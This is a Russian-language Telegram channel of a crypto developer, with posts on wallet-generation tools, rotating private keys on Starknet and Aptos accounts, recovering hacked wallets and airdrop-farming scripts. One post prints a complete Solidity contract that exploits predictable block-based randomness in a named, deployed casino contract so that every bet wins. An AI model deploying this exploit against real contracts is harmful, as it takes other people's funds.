Разнорабочий | Заметки – Telegram
Разнорабочий | Заметки
5.21K subscribers
30 photos
3 videos
55 links
Публикую статьи, мысли, скрипты

Связанный чат канала: https://news.1rj.ru/str/raznorabochiy_chat
Download Telegram
Wallets Tools 💎

Моя тулза, которую использую для генерации сидок и кошельков.

Она может:
* сгенерировать N сид-фраз
* сделать из сид-фраз приватники для EVM, Aptos, SUI, StarkNet (Argent X), StarkNet (Braavos)
* сделать из сид-фраз адреса для EVM, Aptos, SUI, StarkNet (Argent X), StarkNet (Braavos)
* сделать из приватников адреса для EVM, Aptos, SUI, StarkNet (Argent X), StarkNet (Braavos)
* перемешивать строки в текстовом фале (например вы используете софт который не шафлит приватники, перед тем как добавить туда их вы можете предварительно перемешать)
* перемешивать строки в текстовом фале на группы по N (например разбиваете приватники по 9) и каждый день прогоняете в софте одну группу из 9 приватников

Для Argent X может генерить как старые, так и новые приватники/адреса (у них менялся алгоритм при переходе на Cairo 1.0).

После установки зависимостей можно отключить интернет и делать все операции без интернета, если параноити.
Скрипты в принципе очень простые для понимания, библиотеки официальные.

https://github.com/raznorabochiy/wallets-tools/
👍16🤡1
Новый приватник для старого аккаунта

Представьте, как было бы круто, если бы можно было менять приватник на своём кошельке?! Купил аккаунты на OTC, поменял приватники и старый хозяин ничего не может сделать с аккаунтом. Или понял, что скомпрометировал сид-фразу/приватник, взял и поменял на новый. А что если я вам скажу что ТАКОЕ ВОЗМОЖНО! 🤯

Правда только в StarkNet благодаря их account abstraction.

https://telegra.ph/Novyj-privatnik-dlya-starogo-akkaunta-10-10
🔥494
Обновление Wallets Tools 💎

Добавил поддержку Aleo, работа с сид-фразами, адресами, приватниками. Проверил совместимость в «Leo Wallet» и «Soter | Aleo Wallet»

npm run seeds:aleo:addresses — выводит Aleo-адреса из seed-фраз хранящихся в файле seeds.txt и записывает их в файл addresses.txt

npm run seeds:aleo:privates — выводит Aleo-приватники из seed-фраз хранящихся в файле seeds.txt и записывает их в файл privates.txt

npm run privates:aleo:addresses — выводит Aleo-адреса из Aleo-приватников хранящихся в файле privates.txt и записывает их в файл addresses.txt

https://github.com/raznorabochiy/wallets-tools
👍8
Aptos Opt In Direct Transfer

Экстренное включение, если этот скриншот вам о чём-нибудь говорит, у меня для вас хорошие новости по ссылке ниже:

https://github.com/raznorabochiy/aptos-opt-in-direct-transfer

UPD: обновите скрипт, залил фикс
14👏3
Смена приватника в Aptos

После публикации поста про смену приватников в Starknet, мне написало в лс куча людей, читатели мне подсказали много полезных вещей, которые можно поресёрчить/проверить. Одна из таких любопытных вещей это факт, что в Aptos тоже можно заменить приватник!

Я написал статью и пример кода.

https://telegra.ph/Smena-privatnika-v-Aptos-10-24
18👍4
Универсальная деплоелка контрактов

По-быстрому дописал деплоелку - https://github.com/raznorabochiy/simple-deploy

Умеет деплоить контракты по списку приватников.
Прекомпилированны 3 стандартных контракта из Remix IDE, деплоит рандомно один из 3-х.

3-й контракт 3_Ballot.sol довольно жирный и цена его деплоя сильно выше, чем у 1_Storage.sol и 2_Owner.sol

В принципе штука эта универсальная и подходит для любых EVM сетей, нужно только менять RPC. Я давно использовал этот скрипт для получения NFT разработчика на Base, но конкретно сейчас он понадобился для получения Soulbound NFT от Scroll - https://scroll.io/developer-nft/check-eligibility
20
Казино не всегда выигрывает

Тут Kauman выкатил казино для сибилов, для накрутки дешёвых транз в Nova, Zora, Base и Scroll.
Проблема в его реализации казино - случайное число генерируется на основе данных блока, классика.

Я вынес его казино в Арбитрум Нове (в демонстрационных целях) 5-ю выигрышными транзами вподряд.

Трюк не сложный, если у этого сообщения будет 100 лайков, расскажу как я это сделал и приложу код.
👍105😁11🔥31👎1
Угадываем «случайное число»

Пост про казино набрал 100 реакций, это рекорд для моего канала, спасибо!
Как и обещал, рассказываю решение.

Смотрим текст контракта

Нас интересует функция randomChoice:

function randomChoice() private view returns (uint) {
return uint(Choice(uint(keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 1)))) % 3 + 1));
}


видим, что она зависит от номера блока block.number и времени создания блока block.timestamp

Для того, чтобы контролировать эти значения, есть один трюк, нужно вызвать метод play не напрямую, а из другого контракта, получится, что в этом контракте-обёртке при вызове всё будет происходить в том же самом блоке и мы точно будем знать номер блока и время блока и можем предугадать «случайное число» в вызываемом контракте.

Вот код этого контракта:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// интерфейс контракта казино
interface PSC {
function play(uint _choice, uint _bet) external payable;
}

contract Winner {
address owner;
enum Choice { None, Rock, Paper, Scissors }

constructor() {
owner = msg.sender;
}

modifier onlyOwner() {
require(msg.sender == owner, "Only owner can call this function");
_;
}

function play() public payable {
// адрес контракта казино
PSC casino = PSC(0xdc1F526FFaC607d9680A0d1290baCe2b539d82Ab);

// копируем алгоритм получения числа из контракта казино, именно это число казино сгенерирует, так как код выполнится в том же блоке
Choice casinoChoice = Choice(uint(keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 1)))) % 3 + 1);
uint choice = 0;

// тут вычисляем решение, которое перебьёт выбор казино
if (casinoChoice == Choice.Rock) {
choice = uint(Choice.Paper);
} else if (casinoChoice == Choice.Paper) {
choice = uint(Choice.Scissors);
} else if (casinoChoice == Choice.Scissors) {
choice = uint(Choice.Rock);
}

// вызываем контракт казино и передаём туда выигрышное значение
casino.play{ value: 1000000000000000 }(choice, 1000000000000000);
}

// не забываем функцию вывода денег из нашего контракта
function withdraw(uint amount) public onlyOwner {
require(address(this).balance >= amount, "Insufficient balance for withdrawal");
payable(owner).transfer(amount);
}

receive() external payable {
}
}



Теперь задеплоив этот контракт, например через Remix IDE, можно вызывать метод play у контракта Winner, которы вызовет метод play у контракта казино и выиграет.

Откуда я узнал про этот трюк?

Есть несколько CTF по безопасности смарт-контрактов, я их проходил некоторое время назад:

* https://capturetheether.com/ — к сожалению пройти сейчас уже нельзя, так как все задания проводились в тестовой сети Ropsten, которая сейчас не работает, но можно почитать задания и найти решения квестов

* https://ethernaut.openzeppelin.com/ — это работает
👍36
Хард скилы, завод 1/2

Знакомые и парни из нашего DAO меня периодически спрашивают советы по хард скилам.
Не смотря на то, что в ближайшей перспективе маячат крупные дропы, затяжная медвежка наводит на мысли о том, что неплохо было бы иметь навыки для булрана или возможность в любой момент устроиться на завод.

Немного расскажу про свой случай, я не фултайм в крипте, регуляный доход я получаю на заводе, все активности в крипте я делаю параллельно, у меня 2 раза были мысли бросить завод, когда я зарабатывал в крипте крупные суммы, но всегда за ними следовал обвал рынка 😁
Конкретно мой случай с заводом меня устраивает тем, что я могу работать из дома и многие задачи я делаю на автомате, что не отнимает у меня много ментальных сил.

По поводу хард скилов. Тут нужно определиться, в какой из областей вы хотите развиваться. Программирование, как самое первое, что приходит на ум, не всем подходит. Чтобы развиваться в этой сфере, оно должно нравиться и доставлять удовольствие. Иначе вы просто не сможете найти мотивацию для дальнейшего обучения.

Есть другие области в it, которые могут больше подойти, например аналитик (если нравится анализировать данные, копаться в транзакциях, находить закономерности), сисадмин/девопс (если нравится ставить ноды)

У Яндекса есть бесплатный курс «Старт в IT» https://practicum.yandex.ru/start-in-it/ который может быть не бесполезным и поможет сориентироваться.

продолжение в следующем посте
👍182👎1😁1
Хард скилы, завод 2/2

Возвращаясь к программированию. Если решили заняться именно им, то на старте выбор не большой: JavaScript (TypeScript) или Python

Плюсы js: проще реверс-инженирить бандл сайта, если нужно понять формирования какой-нибудь хитрой подписи, которая является аргументом в вызове смарт-контракта. Весь фронтенд сайтов делается только на js. Несколько очень хороших библиотек для работы с EVM: Web3.js, Ethers, Viem
Минусы js: Язык местами очень странный

Плюсы python: огромное количество полезных библиотек, по настоящему универсальный язык, который используют во всех областях и в больших данных и в машинном обучении и в статистике
Минусы python: не все блокчейны выпускают на старте библиотеки для работы с ними на python, чаще выпускают библиотеку для взаимодействия на js

С чего начать обучение

Первое, это учебные материалы — база. Для js это https://learn.javanoscript.ru Больше в принципе ничего и не нужно, если не собираетесь писать что-то для браузера, можно скипнуть раздел про DOM.

Для питон знакомые рекомендуют https://www.codecademy.com/catalog/language/python

Второе, иметь перед глазами примеры кода для подражания, это должны быть очень хорошие скрипты. Сейчас на рынке огромное число бесплатных публичных скриптов, но проблема в том, что написаны они не очень хорошо. Среди десятков авторов, которых я смотрел, и у которых действительно очень хороший стиль, достойных для подражания не много:

Python
https://github.com/czbag — эталонный код, всё понятно, аккуратно, структурировано, декораторы к месту, ООП уместно использовано, там где оно нужно

JS/TS:
https://github.com/munris-vlad/base
https://github.com/humansimulacrum/aptos-simulator


Пост будет дополняться хорошими авторами и учебными материалами.
👍51🔥146
Как узнать адрес старкнет аккаунта зная его приватник?

После написания статей про смену приватников Starknet Argent X и Aptos ко мне начали обращаться люди, у которых взломали компы. Часто в таких случаях получается поменять приватник и сохранить аккаунты у владельцев.

С тех пор я нашёл способ также защитить Braavos аккаунт, но об этом скоро будет отдельная статья.

Я столкнулся с такой проблемой, есть приватник Braavos, пытаюсь вывести из приватника его адрес скриптом, стандартным способом, как это делают большинство паблик скриптов для старкнета и получаю не задеплоенный адрес с нулевым балансом. Хозяин приватника говорит, «но у меня другой адрес, вот он и на нём есть несколько десятков транзакций и разные токены на балансе», аккаунт старый, создан в первой половине 2022 года.

То есть, как и Argent X, Braavos менял способ выведения адресов.

Распаковал код расширения Braavos и начал смотреть, есть ли какие-нибудь намёки на альтернативные способы выведения адресов.

Нашёл ссылку на очень полезный сервис для внутреннего использования Бравоса.

Этому сервису можно отдать публичный ключ, а он покажет адрес, который связан с этим ключом.
Причём это будет работать, как для аккаунтов Бравоса, так и для аккаунтов Аргента, даже если этим аккаунтам поменяли приватник!

https://recovery.braavos.app/pubkey-to-address/?network=mainnet-alpha&pubkey=0x062a5dc0817dfc150882ca787b17d5675845e558c3954949d45fe62c7cca5eb9

Напомню, что публичный ключ, выводится из приватника всегда одним и тем же способом, в отличии от адреса, а вот получения адреса эта логика у всех типов аккаунтов отличается.

Вот так можно получить публичный ключ из приватного на python:


from starknet_py.net.signer.stark_curve_signer import KeyPair

key_pair = KeyPair.from_private_key("0xPRIVATE_KEY")
print(hex(key_pair.public_key))


или на js:


import { ec } from "starknet";

const publicKey = ec.starkCurve.getStarkKey("0xPRIVATE_KEY");
console.log("0x" + BigInt(publicKey).toString(16).padStart(64, "0"));



Как Бравос смогли сделать такой сервис, откуда они берут данные? Собрали из блокчейна! Если взять все адреса старкнета и пытаться вызвать у них методы getPublicKey, get_owner, getSigner то можно собрать такую базу и по ней искать в обратном порядке.
👍35
Критерии, которых не было на сайте, но нашёл в js-бандле

Это чуть более подробная расшифровка про StarkEx

В комент к этому посту приложу js-бандл, если кто-то хочет ещё поискать полезную инфу, адреса контрактов и т.д.
🔥39👍42
Как поменять приватник в Braavos

Продолжаем изучать невероятные возможности абстракции аккаунтов в Старкнете.

Статья о новых способах защиты и скама аккаунтов Braavos.

По ссылке технические детали и небольшое расследование угона аккаунтов.

Плез, если будите шарить пост, шарьте пост в телеге, а не ссылку на телеграф, очень хочу набрать 1000 сабов к новому году 🤩

https://telegra.ph/Kak-pomenyat-privatnik-v-Braavos-12-02
🔥48👍4
Итак, вы поменяли приватник в аккаунтах Argent X, что теперь с ними делать?

В браузерном кошельке аккаунт больше не работает.

Можно работать софтом, но как? Ни один открытый софт с ходу не работает с такими акичами.

Так как меня несколько человек спрашивали про это, решил написать пост.
Сейчас я вам расскажу, как сделать минимальные правки в софте от czbag - https://github.com/czbag/starknet чтобы можно было использовать такие аккаунты.

В корне проекта создаём файл argent.py вот с таким содержанием

ARGENT = {
"0xНОВЫЙ_ПРИВАТНИК1": "0xАДРЕС1",
"0xНОВЫЙ_ПРИВАТНИК2": "0xАДРЕС2",
"0xНОВЫЙ_ПРИВАТНИК3": "0xАДРЕС3",
}

здесь перечисляем все ваши пары приватник-адрес.

В файле modules/starknet.py подключаем модуль argent и меняем метод _get_argent_address вот так, лишние строки закомментированы:

from argent import ARGENT

#...

def _get_argent_address(self) -> int:
address = ARGENT[self.private_key]
return int(address, 16)

# if CAIRO_VERSION == 0:
# selector = get_selector_from_name("initialize")
#
# calldata = [self.key_pair.public_key, 0]
#
# address = compute_address(
# class_hash=ARGENTX_PROXY_CLASS_HASH,
# constructor_calldata=[ARGENTX_IMPLEMENTATION_CLASS_HASH, selector, len(calldata), *calldata],
# salt=self.key_pair.public_key,
# )
# print(address, type(address))
# return address
# else:
# address = compute_address(
# class_hash=ARGENTX_IMPLEMENTATION_CLASS_HASH_NEW,
# constructor_calldata=[self.key_pair.public_key, 0],
# salt=self.key_pair.public_key,
# )
# print(address, type(address))
# return address


Всё, теперь адреса не выводятся из приватника, а берутся из словаря.

Я надеюсь czbag добавит с свой прекрасный софт клейм SТRK, когда придёт время. Если не добавит, найдём другой способ и я расскажу вам о нём.
👍362🔥2
Лёгкий способ поменять приватник на аккаунте Braavos

В предыдущей статье про Бравос я рассказывал про случай, как скамер развёртывал собственный модифицированный контракт Бравоса и менял приватник функцией setPublicKey.

Давайте ещё раз посмотрим на скриншот.

DECLARE – это деплой контракта, upgrade – обновление кошелька на этот контракт, setPublicKey – смена приватника.

Звучит сложно, нужно скачать код контракта, пропатчить его, задеплоить. Но на самом деле, аккаунты Бравоса работают используя паттерн прокси, то есть деплоится имплементация контракта один раз, а дальше все аккаунты ссылаются на эту имплементацию. То есть мы можем взять адрес задеплоенного скаммером контракта из угнанного аккаунта Ильдара – 0x02b0d2bf21052d789f9dc24aa401f8360ccc6971be8149851a36ec53554bcdbe
и просто передать этот адрес в вызов upgrade(0x02b0d2bf21052d789f9dc24aa401f8360ccc6971be8149851a36ec53554bcdbe), а дальше вызвать setPublicKey

получится всего 2 транзакции для смены приватника. Кроме этого я бы добавил ещё один upgrade(0x05dec330eebf36c8672b60db4a718d44762d3ae6d1333e553197acb47ee5a062) – это возвращаем оригинальную имплементацию Браавос версии 000.000.011, потому что мы точно не знаем что именно ещё дописал в контракт скамер и может быть там есть бекдор, маловероятно, но возможно.

Единственный минус в этом решении, это то, что аккаунты по сути связываются так как все ссылаются на имплементацию скамера, скорее всего именно по этой причине он деплоит новый контракт для каждого угнанного аккаунта. Но если снепшот уже был, это не проблема. В следующей статье я всё таки выложу код для добавления Hardware Signer'а, это более безопасный метод.

Вот пример моего тестового аккаунта, где я поменял приватник: https://voyager.online/contract/0x01f752facbf0b8a4577bb45436fa396423bf972b5dbfef57fef9e20a9f554498

Ссылка на репозиторий с кодом: https://github.com/raznorabochiy/braavos-set-public-key
👍19
Как добавить Hardware Signer скриптом в Braavos

В предыдущей статье я немного описал теоретическую часть.

А в этом посте решил выложить код для всех этих операций — https://github.com/raznorabochiy/braavos-hardware-signer

generate_secp256r1_key.py — скрипт для генерации приватника secp256r1

add_signer.py — добавляет HW Signer в аккаунт Braavos, стандартный приватник перестаёт работать

check_signature.py — проверяет, может ли ваш аккаунт подписывать транзы стандартным приватником

check_secp256r1_signature.py — проверяет, может ли ваш аккаунт подписывать транзы HW Signer-приватником

remove_signer.py — удаляет HW Signer, делает подпись HW Signer’ом, не нужно ждать 4 дня, старый приватник опять начинает работать

remove_signer_with_etd.py — удаляет HW Signer используя старый приватник, нужно ждать 4 дня чтобы старый приватник снова начал работать

cancel_deferred_remove_signer_req.py — отменяет удаление HW Signer, нужно подписывать HW Signer’ом

get_deferred_remove_signer_req.py — проверяет, пытается ли кто-то сбросить HW Signer при помощи старого приватника и если это так дату до которой можно отменить это действие скриптом cancel_deferred_remove_signer_req

Сгенерированный generate_secp256r1_key приватник нужно положить в файл secp256r1-key.txt

Оригинальный приватник нужно положить в файл private-key.txt

В файл addresses.txt кладём адреса для скрипта get_deferred_remove_signer_req

Если вы добавили HW Signer, то все последующие транзакции должны быть подписаны им, как это делается можно посмотреть в скрипте cancel_deferred_remove_signer_req.py, используется класс Secp256rSigner из signer.py
18👍4
Сегодня послушал подкаст Вишни про FACKBLOCK, как же круто Вишня всё смонтировал, я конечно человек предвзятый, но мне зашёл монтаж и формат шоу с его фирменными рофлами (кринж реклама, это отдельный вид искусства)

Было интересно послушать парней и себя со стороны (это мой первый опыт в формате интервью)

Рекомендую, на мой вкус Вишня очень высоко задрал планку крипто-подкастов.

https://www.youtube.com/watch?v=rHd6jFH9Ujg
56🤡6👍4💩1
Инскрипции для Layer2-20

По просьбе парней из 9KDAO написал минтилку инскрипций https://www.layer220.io/ это экосистемный проект Orbiter и за эту активность дают поинты.

Если кто-то не делал и хочет заскочить в последний вагон: https://github.com/raznorabochiy/layer220

в настройках поменяйте, в какой сети будете минтить и в какую сеть адресована инскрипция


export const FROM_NETWORK: Network = Network.Arbitrum;
export const TO_NETWORK: Network = Network.Optimism;


Цена минта примерно 50 центов.
👍29
После выхода Starknet, ко мне обратилось несколько человек с просьбой помочь склеймить дроп и я успешно помог это сделать. Так что если у вас есть например сид фраза от вашего (что принципиально) старого кошелька, которую вы вводите в свежий аргент или бравос, а он не может найти ваш старый адрес или вы поставили 2фа на скомпрометированные аккаунты, но потеряли доступ к почтам. Со всеми такими и другими кейсами я могу помочь. Единственный принципиальный момент, не пишите мне, если это аккаунты не ваши, во многих случаях я могу это распознать и сразу прекращу диалог.

Пишите @raznorabochiy прикладывая адрес аккаунта.
👍297🔥4